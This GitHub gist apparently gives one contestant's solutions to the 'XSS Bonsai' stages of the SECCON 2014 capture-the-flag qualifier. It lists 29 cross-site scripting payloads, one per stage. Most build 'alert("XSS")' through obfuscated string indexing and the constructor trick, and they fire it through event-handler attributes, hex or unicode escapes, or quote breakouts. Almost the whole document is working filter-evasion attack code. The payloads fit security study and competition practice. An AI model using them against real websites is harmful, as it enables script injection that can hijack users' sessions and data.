Skip to content

Instantly share code, notes, and snippets.

@kusano
Created December 7, 2014 08:59
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
Star You must be signed in to star a gist
Save kusano/b68995e9725e10b6d7cd to your computer and use it in GitHub Desktop.
SECCON 2014 オンライン予選(英語) XSS Bonsai (aka. Hakoniwa XSS Reloaded)
Stage1 "+(104-100)["jvwfc"[104-100]+"jvwfo"[104-100]+"jvwfn"[104-100]+"jvwfs"[104-100]+"jvwft"[104-100]+"jvwfr"[104-100]+"jvwfu"[104-100]+"jvwfc"[104-100]+"jvwft"[104-100]+"jvwfo"[104-100]+"jvwfr"[104-100]]["jvwfc"[104-100]+"jvwfo"[104-100]+"jvwfn"[104-100]+"jvwfs"[104-100]+"jvwft"[104-100]+"jvwfr"[104-100]+"jvwfu"[104-100]+"jvwfc"[104-100]+"jvwft"[104-100]+"jvwfo"[104-100]+"jvwfr"[104-100]]("jvwfa"[104-100]+"jvwfl"[104-100]+"jvwfe"[104-100]+"jvwfr"[104-100]+"jvwft"[104-100]+"(\""+"jvwfX"[104-100]+"jvwfS"[104-100]+"jvwfS"[104-100]+"\")")()//
Stage2 \"+(109-105)['mcnac'[109-105]+'mcnao'[109-105]+'mcnan'[109-105]+'mcnas'[109-105]+'mcnat'[109-105]+'mcnar'[109-105]+'mcnau'[109-105]+'mcnac'[109-105]+'mcnat'[109-105]+'mcnao'[109-105]+'mcnar'[109-105]]['mcnac'[109-105]+'mcnao'[109-105]+'mcnan'[109-105]+'mcnas'[109-105]+'mcnat'[109-105]+'mcnar'[109-105]+'mcnau'[109-105]+'mcnac'[109-105]+'mcnat'[109-105]+'mcnao'[109-105]+'mcnar'[109-105]]('mcnaa'[109-105]+'mcnal'[109-105]+'mcnae'[109-105]+'mcnar'[109-105]+'mcnat'[109-105]+'(\''+'mcnaX'[109-105]+'mcnaS'[109-105]+'mcnaS'[109-105]+'\')')()//
Stage3 '+(114-110)["cfsic"[114-110]+"cfsio"[114-110]+"cfsin"[114-110]+"cfsis"[114-110]+"cfsit"[114-110]+"cfsir"[114-110]+"cfsiu"[114-110]+"cfsic"[114-110]+"cfsit"[114-110]+"cfsio"[114-110]+"cfsir"[114-110]]["cfsic"[114-110]+"cfsio"[114-110]+"cfsin"[114-110]+"cfsis"[114-110]+"cfsit"[114-110]+"cfsir"[114-110]+"cfsiu"[114-110]+"cfsic"[114-110]+"cfsit"[114-110]+"cfsio"[114-110]+"cfsir"[114-110]]("cfsia"[114-110]+"cfsil"[114-110]+"cfsie"[114-110]+"cfsir"[114-110]+"cfsit"[114-110]+"(\""+"cfsiX"[114-110]+"cfsiS"[114-110]+"cfsiS"[114-110]+"\")")()+'
Stage4 ")}(119-115)["gceoc"[119-115]+"gceoo"[119-115]+"gceon"[119-115]+"gceos"[119-115]+"gceot"[119-115]+"gceor"[119-115]+"gceou"[119-115]+"gceoc"[119-115]+"gceot"[119-115]+"gceoo"[119-115]+"gceor"[119-115]]["gceoc"[119-115]+"gceoo"[119-115]+"gceon"[119-115]+"gceos"[119-115]+"gceot"[119-115]+"gceor"[119-115]+"gceou"[119-115]+"gceoc"[119-115]+"gceot"[119-115]+"gceoo"[119-115]+"gceor"[119-115]]("gceoa"[119-115]+"gceol"[119-115]+"gceoe"[119-115]+"gceor"[119-115]+"gceot"[119-115]+"(\""+"gceoX"[119-115]+"gceoS"[119-115]+"gceoS"[119-115]+"\")")()//
Stage5 \x3caxui/\x6fnmouseenter=(124-120)["axuic"[124-120]+"axuio"[124-120]+"axuin"[124-120]+"axuis"[124-120]+"axuit"[124-120]+"axuir"[124-120]+"axuiu"[124-120]+"axuic"[124-120]+"axuit"[124-120]+"axuio"[124-120]+"axuir"[124-120]]["axuic"[124-120]+"axuio"[124-120]+"axuin"[124-120]+"axuis"[124-120]+"axuit"[124-120]+"axuir"[124-120]+"axuiu"[124-120]+"axuic"[124-120]+"axuit"[124-120]+"axuio"[124-120]+"axuir"[124-120]]("axuia"[124-120]+"axuil"[124-120]+"axuie"[124-120]+"axuir"[124-120]+"axuit"[124-120]+"(\\""+"axuiX"[124-120]+"axuiS"[124-120]+"axuiS"[124-120]+"\\")")()\x3eaxui\x3c/axui\x3e
Stage6 \u003cxkoy/\u006fnmouseenter=(129-125)["xkoyc"[129-125]+"xkoyo"[129-125]+"xkoyn"[129-125]+"xkoys"[129-125]+"xkoyt"[129-125]+"xkoyr"[129-125]+"xkoyu"[129-125]+"xkoyc"[129-125]+"xkoyt"[129-125]+"xkoyo"[129-125]+"xkoyr"[129-125]]["xkoyc"[129-125]+"xkoyo"[129-125]+"xkoyn"[129-125]+"xkoys"[129-125]+"xkoyt"[129-125]+"xkoyr"[129-125]+"xkoyu"[129-125]+"xkoyc"[129-125]+"xkoyt"[129-125]+"xkoyo"[129-125]+"xkoyr"[129-125]]("xkoya"[129-125]+"xkoyl"[129-125]+"xkoye"[129-125]+"xkoyr"[129-125]+"xkoyt"[129-125]+"(\\""+"xkoyX"[129-125]+"xkoyS"[129-125]+"xkoyS"[129-125]+"\\")")()\u003exkoy\u003c/xkoy\u003e
Stage7 <zcvf/onmouseenter=(134-130)["zcvfc"[134-130]+"zcvfo"[134-130]+"zcvfn"[134-130]+"zcvfs"[134-130]+"zcvft"[134-130]+"zcvfr"[134-130]+"zcvfu"[134-130]+"zcvfc"[134-130]+"zcvft"[134-130]+"zcvfo"[134-130]+"zcvfr"[134-130]]["zcvfc"[134-130]+"zcvfo"[134-130]+"zcvfn"[134-130]+"zcvfs"[134-130]+"zcvft"[134-130]+"zcvfr"[134-130]+"zcvfu"[134-130]+"zcvfc"[134-130]+"zcvft"[134-130]+"zcvfo"[134-130]+"zcvfr"[134-130]]("zcvfa"[134-130]+"zcvfl"[134-130]+"zcvfe"[134-130]+"zcvfr"[134-130]+"zcvft"[134-130]+"(\""+"zcvfX"[134-130]+"zcvfS"[134-130]+"zcvfS"[134-130]+"\")")()>zcvf</zcvf>
Stage8 <ddwr/onmouseover=(139-135)["ddwrc"[139-135]+"ddwro"[139-135]+"ddwrn"[139-135]+"ddwrs"[139-135]+"ddwrt"[139-135]+"ddwrr"[139-135]+"ddwru"[139-135]+"ddwrc"[139-135]+"ddwrt"[139-135]+"ddwro"[139-135]+"ddwrr"[139-135]]["ddwrc"[139-135]+"ddwro"[139-135]+"ddwrn"[139-135]+"ddwrs"[139-135]+"ddwrt"[139-135]+"ddwrr"[139-135]+"ddwru"[139-135]+"ddwrc"[139-135]+"ddwrt"[139-135]+"ddwro"[139-135]+"ddwrr"[139-135]]("ddwra"[139-135]+"ddwrl"[139-135]+"ddwre"[139-135]+"ddwrr"[139-135]+"ddwrt"[139-135]+"(\""+"ddwrX"[139-135]+"ddwrS"[139-135]+"ddwrS"[139-135]+"\")")()>ddwr</ddwr>
Stage9 <jktn/onmouseleave=(144-140)["jktnc"[144-140]+"jktno"[144-140]+"jktnn"[144-140]+"jktns"[144-140]+"jktnt"[144-140]+"jktnr"[144-140]+"jktnu"[144-140]+"jktnc"[144-140]+"jktnt"[144-140]+"jktno"[144-140]+"jktnr"[144-140]]["jktnc"[144-140]+"jktno"[144-140]+"jktnn"[144-140]+"jktns"[144-140]+"jktnt"[144-140]+"jktnr"[144-140]+"jktnu"[144-140]+"jktnc"[144-140]+"jktnt"[144-140]+"jktno"[144-140]+"jktnr"[144-140]]("jktna"[144-140]+"jktnl"[144-140]+"jktne"[144-140]+"jktnr"[144-140]+"jktnt"[144-140]+"(\""+"jktnX"[144-140]+"jktnS"[144-140]+"jktnS"[144-140]+"\")")()>jktn</jktn>
Stage10 <ydwe/onmousemove=(149-145)["ydwec"[149-145]+"ydweo"[149-145]+"ydwen"[149-145]+"ydwes"[149-145]+"ydwet"[149-145]+"ydwer"[149-145]+"ydweu"[149-145]+"ydwec"[149-145]+"ydwet"[149-145]+"ydweo"[149-145]+"ydwer"[149-145]]["ydwec"[149-145]+"ydweo"[149-145]+"ydwen"[149-145]+"ydwes"[149-145]+"ydwet"[149-145]+"ydwer"[149-145]+"ydweu"[149-145]+"ydwec"[149-145]+"ydwet"[149-145]+"ydweo"[149-145]+"ydwer"[149-145]]("ydwea"[149-145]+"ydwel"[149-145]+"ydwee"[149-145]+"ydwer"[149-145]+"ydwet"[149-145]+"(\""+"ydweX"[149-145]+"ydweS"[149-145]+"ydweS"[149-145]+"\")")()>ydwe</ydwe>
Stage11 <pphs/onmousedown=(154-150)["pphsc"[154-150]+"pphso"[154-150]+"pphsn"[154-150]+"pphss"[154-150]+"pphst"[154-150]+"pphsr"[154-150]+"pphsu"[154-150]+"pphsc"[154-150]+"pphst"[154-150]+"pphso"[154-150]+"pphsr"[154-150]]["pphsc"[154-150]+"pphso"[154-150]+"pphsn"[154-150]+"pphss"[154-150]+"pphst"[154-150]+"pphsr"[154-150]+"pphsu"[154-150]+"pphsc"[154-150]+"pphst"[154-150]+"pphso"[154-150]+"pphsr"[154-150]]("pphsa"[154-150]+"pphsl"[154-150]+"pphse"[154-150]+"pphsr"[154-150]+"pphst"[154-150]+"(\""+"pphsX"[154-150]+"pphsS"[154-150]+"pphsS"[154-150]+"\")")()>pphs</pphs>
Stage12 <oudy/onmouseup=(159-155)["oudyc"[159-155]+"oudyo"[159-155]+"oudyn"[159-155]+"oudys"[159-155]+"oudyt"[159-155]+"oudyr"[159-155]+"oudyu"[159-155]+"oudyc"[159-155]+"oudyt"[159-155]+"oudyo"[159-155]+"oudyr"[159-155]]["oudyc"[159-155]+"oudyo"[159-155]+"oudyn"[159-155]+"oudys"[159-155]+"oudyt"[159-155]+"oudyr"[159-155]+"oudyu"[159-155]+"oudyc"[159-155]+"oudyt"[159-155]+"oudyo"[159-155]+"oudyr"[159-155]]("oudya"[159-155]+"oudyl"[159-155]+"oudye"[159-155]+"oudyr"[159-155]+"oudyt"[159-155]+"(\""+"oudyX"[159-155]+"oudyS"[159-155]+"oudyS"[159-155]+"\")")()>oudy</oudy>
Stage13 <sxxf/onmouseout=(164-160)["sxxfc"[164-160]+"sxxfo"[164-160]+"sxxfn"[164-160]+"sxxfs"[164-160]+"sxxft"[164-160]+"sxxfr"[164-160]+"sxxfu"[164-160]+"sxxfc"[164-160]+"sxxft"[164-160]+"sxxfo"[164-160]+"sxxfr"[164-160]]["sxxfc"[164-160]+"sxxfo"[164-160]+"sxxfn"[164-160]+"sxxfs"[164-160]+"sxxft"[164-160]+"sxxfr"[164-160]+"sxxfu"[164-160]+"sxxfc"[164-160]+"sxxft"[164-160]+"sxxfo"[164-160]+"sxxfr"[164-160]]("sxxfa"[164-160]+"sxxfl"[164-160]+"sxxfe"[164-160]+"sxxfr"[164-160]+"sxxft"[164-160]+"(\""+"sxxfX"[164-160]+"sxxfS"[164-160]+"sxxfS"[164-160]+"\")")()>sxxf</sxxf>
Stage14 <nfsp/onclick=(194-190)["nfspc"[194-190]+"nfspo"[194-190]+"nfspn"[194-190]+"nfsps"[194-190]+"nfspt"[194-190]+"nfspr"[194-190]+"nfspu"[194-190]+"nfspc"[194-190]+"nfspt"[194-190]+"nfspo"[194-190]+"nfspr"[194-190]]["nfspc"[194-190]+"nfspo"[194-190]+"nfspn"[194-190]+"nfsps"[194-190]+"nfspt"[194-190]+"nfspr"[194-190]+"nfspu"[194-190]+"nfspc"[194-190]+"nfspt"[194-190]+"nfspo"[194-190]+"nfspr"[194-190]]("nfspa"[194-190]+"nfspl"[194-190]+"nfspe"[194-190]+"nfspr"[194-190]+"nfspt"[194-190]+"(\""+"nfspX"[194-190]+"nfspS"[194-190]+"nfspS"[194-190]+"\")")()>nfsp</nfsp>
Stage15 <tvjp/ondblclick=(199-195)["tvjpc"[199-195]+"tvjpo"[199-195]+"tvjpn"[199-195]+"tvjps"[199-195]+"tvjpt"[199-195]+"tvjpr"[199-195]+"tvjpu"[199-195]+"tvjpc"[199-195]+"tvjpt"[199-195]+"tvjpo"[199-195]+"tvjpr"[199-195]]["tvjpc"[199-195]+"tvjpo"[199-195]+"tvjpn"[199-195]+"tvjps"[199-195]+"tvjpt"[199-195]+"tvjpr"[199-195]+"tvjpu"[199-195]+"tvjpc"[199-195]+"tvjpt"[199-195]+"tvjpo"[199-195]+"tvjpr"[199-195]]("tvjpa"[199-195]+"tvjpl"[199-195]+"tvjpe"[199-195]+"tvjpr"[199-195]+"tvjpt"[199-195]+"(\""+"tvjpX"[199-195]+"tvjpS"[199-195]+"tvjpS"[199-195]+"\")")()>tvjp</tvjp>
Stage16 <bkyv/onmspointerleave=(179-175)["bkyvc"[179-175]+"bkyvo"[179-175]+"bkyvn"[179-175]+"bkyvs"[179-175]+"bkyvt"[179-175]+"bkyvr"[179-175]+"bkyvu"[179-175]+"bkyvc"[179-175]+"bkyvt"[179-175]+"bkyvo"[179-175]+"bkyvr"[179-175]]["bkyvc"[179-175]+"bkyvo"[179-175]+"bkyvn"[179-175]+"bkyvs"[179-175]+"bkyvt"[179-175]+"bkyvr"[179-175]+"bkyvu"[179-175]+"bkyvc"[179-175]+"bkyvt"[179-175]+"bkyvo"[179-175]+"bkyvr"[179-175]]("bkyva"[179-175]+"bkyvl"[179-175]+"bkyve"[179-175]+"bkyvr"[179-175]+"bkyvt"[179-175]+"(\""+"bkyvX"[179-175]+"bkyvS"[179-175]+"bkyvS"[179-175]+"\")")()>bkyv</bkyv>
Stage17 <gspv/onpointerenter=(184-180)["gspvc"[184-180]+"gspvo"[184-180]+"gspvn"[184-180]+"gspvs"[184-180]+"gspvt"[184-180]+"gspvr"[184-180]+"gspvu"[184-180]+"gspvc"[184-180]+"gspvt"[184-180]+"gspvo"[184-180]+"gspvr"[184-180]]["gspvc"[184-180]+"gspvo"[184-180]+"gspvn"[184-180]+"gspvs"[184-180]+"gspvt"[184-180]+"gspvr"[184-180]+"gspvu"[184-180]+"gspvc"[184-180]+"gspvt"[184-180]+"gspvo"[184-180]+"gspvr"[184-180]]("gspva"[184-180]+"gspvl"[184-180]+"gspve"[184-180]+"gspvr"[184-180]+"gspvt"[184-180]+"(\""+"gspvX"[184-180]+"gspvS"[184-180]+"gspvS"[184-180]+"\")")()>gspv</gspv>
Stage18 <muwe/onpointerleave=(189-185)["muwec"[189-185]+"muweo"[189-185]+"muwen"[189-185]+"muwes"[189-185]+"muwet"[189-185]+"muwer"[189-185]+"muweu"[189-185]+"muwec"[189-185]+"muwet"[189-185]+"muweo"[189-185]+"muwer"[189-185]]["muwec"[189-185]+"muweo"[189-185]+"muwen"[189-185]+"muwes"[189-185]+"muwet"[189-185]+"muwer"[189-185]+"muweu"[189-185]+"muwec"[189-185]+"muwet"[189-185]+"muweo"[189-185]+"muwer"[189-185]]("muwea"[189-185]+"muwel"[189-185]+"muwee"[189-185]+"muwer"[189-185]+"muwet"[189-185]+"(\""+"muweX"[189-185]+"muweS"[189-185]+"muweS"[189-185]+"\")")()>muwe</muwe>
Stage19 <otmw/onmousewheel=(169-165)["otmwc"[169-165]+"otmwo"[169-165]+"otmwn"[169-165]+"otmws"[169-165]+"otmwt"[169-165]+"otmwr"[169-165]+"otmwu"[169-165]+"otmwc"[169-165]+"otmwt"[169-165]+"otmwo"[169-165]+"otmwr"[169-165]]["otmwc"[169-165]+"otmwo"[169-165]+"otmwn"[169-165]+"otmws"[169-165]+"otmwt"[169-165]+"otmwr"[169-165]+"otmwu"[169-165]+"otmwc"[169-165]+"otmwt"[169-165]+"otmwo"[169-165]+"otmwr"[169-165]]("otmwa"[169-165]+"otmwl"[169-165]+"otmwe"[169-165]+"otmwr"[169-165]+"otmwt"[169-165]+"(\""+"otmwX"[169-165]+"otmwS"[169-165]+"otmwS"[169-165]+"\")")()>otmw</otmw>
Stage20 <zijz/onmspointerenter=(174-170)["zijzc"[174-170]+"zijzo"[174-170]+"zijzn"[174-170]+"zijzs"[174-170]+"zijzt"[174-170]+"zijzr"[174-170]+"zijzu"[174-170]+"zijzc"[174-170]+"zijzt"[174-170]+"zijzo"[174-170]+"zijzr"[174-170]]["zijzc"[174-170]+"zijzo"[174-170]+"zijzn"[174-170]+"zijzs"[174-170]+"zijzt"[174-170]+"zijzr"[174-170]+"zijzu"[174-170]+"zijzc"[174-170]+"zijzt"[174-170]+"zijzo"[174-170]+"zijzr"[174-170]]("zijza"[174-170]+"zijzl"[174-170]+"zijze"[174-170]+"zijzr"[174-170]+"zijzt"[174-170]+"(\""+"zijzX"[174-170]+"zijzS"[174-170]+"zijzS"[174-170]+"\")")()>zijz</zijz>
Stage21 <luzd/oncontextmenu=(204-200)["luzdc"[204-200]+"luzdo"[204-200]+"luzdn"[204-200]+"luzds"[204-200]+"luzdt"[204-200]+"luzdr"[204-200]+"luzdu"[204-200]+"luzdc"[204-200]+"luzdt"[204-200]+"luzdo"[204-200]+"luzdr"[204-200]]["luzdc"[204-200]+"luzdo"[204-200]+"luzdn"[204-200]+"luzds"[204-200]+"luzdt"[204-200]+"luzdr"[204-200]+"luzdu"[204-200]+"luzdc"[204-200]+"luzdt"[204-200]+"luzdo"[204-200]+"luzdr"[204-200]]("luzda"[204-200]+"luzdl"[204-200]+"luzde"[204-200]+"luzdr"[204-200]+"luzdt"[204-200]+"(\""+"luzdX"[204-200]+"luzdS"[204-200]+"luzdS"[204-200]+"\")")()>luzd</luzd>
Stage22 <qcwg/onbeforecopy=(209-205)["qcwgc"[209-205]+"qcwgo"[209-205]+"qcwgn"[209-205]+"qcwgs"[209-205]+"qcwgt"[209-205]+"qcwgr"[209-205]+"qcwgu"[209-205]+"qcwgc"[209-205]+"qcwgt"[209-205]+"qcwgo"[209-205]+"qcwgr"[209-205]]["qcwgc"[209-205]+"qcwgo"[209-205]+"qcwgn"[209-205]+"qcwgs"[209-205]+"qcwgt"[209-205]+"qcwgr"[209-205]+"qcwgu"[209-205]+"qcwgc"[209-205]+"qcwgt"[209-205]+"qcwgo"[209-205]+"qcwgr"[209-205]]("qcwga"[209-205]+"qcwgl"[209-205]+"qcwge"[209-205]+"qcwgr"[209-205]+"qcwgt"[209-205]+"(\""+"qcwgX"[209-205]+"qcwgS"[209-205]+"qcwgS"[209-205]+"\")")()>qcwg</qcwg>
Stage23 <jkkc/oncopy=(219-215)["jkkcc"[219-215]+"jkkco"[219-215]+"jkkcn"[219-215]+"jkkcs"[219-215]+"jkkct"[219-215]+"jkkcr"[219-215]+"jkkcu"[219-215]+"jkkcc"[219-215]+"jkkct"[219-215]+"jkkco"[219-215]+"jkkcr"[219-215]]["jkkcc"[219-215]+"jkkco"[219-215]+"jkkcn"[219-215]+"jkkcs"[219-215]+"jkkct"[219-215]+"jkkcr"[219-215]+"jkkcu"[219-215]+"jkkcc"[219-215]+"jkkct"[219-215]+"jkkco"[219-215]+"jkkcr"[219-215]]("jkkca"[219-215]+"jkkcl"[219-215]+"jkkce"[219-215]+"jkkcr"[219-215]+"jkkct"[219-215]+"(\""+"jkkcX"[219-215]+"jkkcS"[219-215]+"jkkcS"[219-215]+"\")")()>jkkc</jkkc>
Stage24 <textarea/onkeydown=(224-220)["hlypc"[224-220]+"hlypo"[224-220]+"hlypn"[224-220]+"hlyps"[224-220]+"hlypt"[224-220]+"hlypr"[224-220]+"hlypu"[224-220]+"hlypc"[224-220]+"hlypt"[224-220]+"hlypo"[224-220]+"hlypr"[224-220]]["hlypc"[224-220]+"hlypo"[224-220]+"hlypn"[224-220]+"hlyps"[224-220]+"hlypt"[224-220]+"hlypr"[224-220]+"hlypu"[224-220]+"hlypc"[224-220]+"hlypt"[224-220]+"hlypo"[224-220]+"hlypr"[224-220]]("hlypa"[224-220]+"hlypl"[224-220]+"hlype"[224-220]+"hlypr"[224-220]+"hlypt"[224-220]+"(\""+"hlypX"[224-220]+"hlypS"[224-220]+"hlypS"[224-220]+"\")")()>hlyp</textarea>
Stage25 <input/onchange=(229-225)["jmqwc"[229-225]+"jmqwo"[229-225]+"jmqwn"[229-225]+"jmqws"[229-225]+"jmqwt"[229-225]+"jmqwr"[229-225]+"jmqwu"[229-225]+"jmqwc"[229-225]+"jmqwt"[229-225]+"jmqwo"[229-225]+"jmqwr"[229-225]]["jmqwc"[229-225]+"jmqwo"[229-225]+"jmqwn"[229-225]+"jmqws"[229-225]+"jmqwt"[229-225]+"jmqwr"[229-225]+"jmqwu"[229-225]+"jmqwc"[229-225]+"jmqwt"[229-225]+"jmqwo"[229-225]+"jmqwr"[229-225]]("jmqwa"[229-225]+"jmqwl"[229-225]+"jmqwe"[229-225]+"jmqwr"[229-225]+"jmqwt"[229-225]+"(\""+"jmqwX"[229-225]+"jmqwS"[229-225]+"jmqwS"[229-225]+"\")")()>
Stage26 <button/onfocus=(234-230)["rhikc"[234-230]+"rhiko"[234-230]+"rhikn"[234-230]+"rhiks"[234-230]+"rhikt"[234-230]+"rhikr"[234-230]+"rhiku"[234-230]+"rhikc"[234-230]+"rhikt"[234-230]+"rhiko"[234-230]+"rhikr"[234-230]]["rhikc"[234-230]+"rhiko"[234-230]+"rhikn"[234-230]+"rhiks"[234-230]+"rhikt"[234-230]+"rhikr"[234-230]+"rhiku"[234-230]+"rhikc"[234-230]+"rhikt"[234-230]+"rhiko"[234-230]+"rhikr"[234-230]]("rhika"[234-230]+"rhikl"[234-230]+"rhike"[234-230]+"rhikr"[234-230]+"rhikt"[234-230]+"(\""+"rhikX"[234-230]+"rhikS"[234-230]+"rhikS"[234-230]+"\")")()>rhik</button>
Stage27 <select/onblur=(239-235)["kcxmc"[239-235]+"kcxmo"[239-235]+"kcxmn"[239-235]+"kcxms"[239-235]+"kcxmt"[239-235]+"kcxmr"[239-235]+"kcxmu"[239-235]+"kcxmc"[239-235]+"kcxmt"[239-235]+"kcxmo"[239-235]+"kcxmr"[239-235]]["kcxmc"[239-235]+"kcxmo"[239-235]+"kcxmn"[239-235]+"kcxms"[239-235]+"kcxmt"[239-235]+"kcxmr"[239-235]+"kcxmu"[239-235]+"kcxmc"[239-235]+"kcxmt"[239-235]+"kcxmo"[239-235]+"kcxmr"[239-235]]("kcxma"[239-235]+"kcxml"[239-235]+"kcxme"[239-235]+"kcxmr"[239-235]+"kcxmt"[239-235]+"(\""+"kcxmX"[239-235]+"kcxmS"[239-235]+"kcxmS"[239-235]+"\")")()>kcxm</select>
Stage28 <img/src="nfccc"onerror=(244-240)["nfccc"[244-240]+"nfcco"[244-240]+"nfccn"[244-240]+"nfccs"[244-240]+"nfcct"[244-240]+"nfccr"[244-240]+"nfccu"[244-240]+"nfccc"[244-240]+"nfcct"[244-240]+"nfcco"[244-240]+"nfccr"[244-240]]["nfccc"[244-240]+"nfcco"[244-240]+"nfccn"[244-240]+"nfccs"[244-240]+"nfcct"[244-240]+"nfccr"[244-240]+"nfccu"[244-240]+"nfccc"[244-240]+"nfcct"[244-240]+"nfcco"[244-240]+"nfccr"[244-240]]("nfcca"[244-240]+"nfccl"[244-240]+"nfcce"[244-240]+"nfccr"[244-240]+"nfcct"[244-240]+"(\""+"nfccX"[244-240]+"nfccS"[244-240]+"nfccS"[244-240]+"\")")()>nfcc</img>
Stage29 <script>alert('XSS')</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment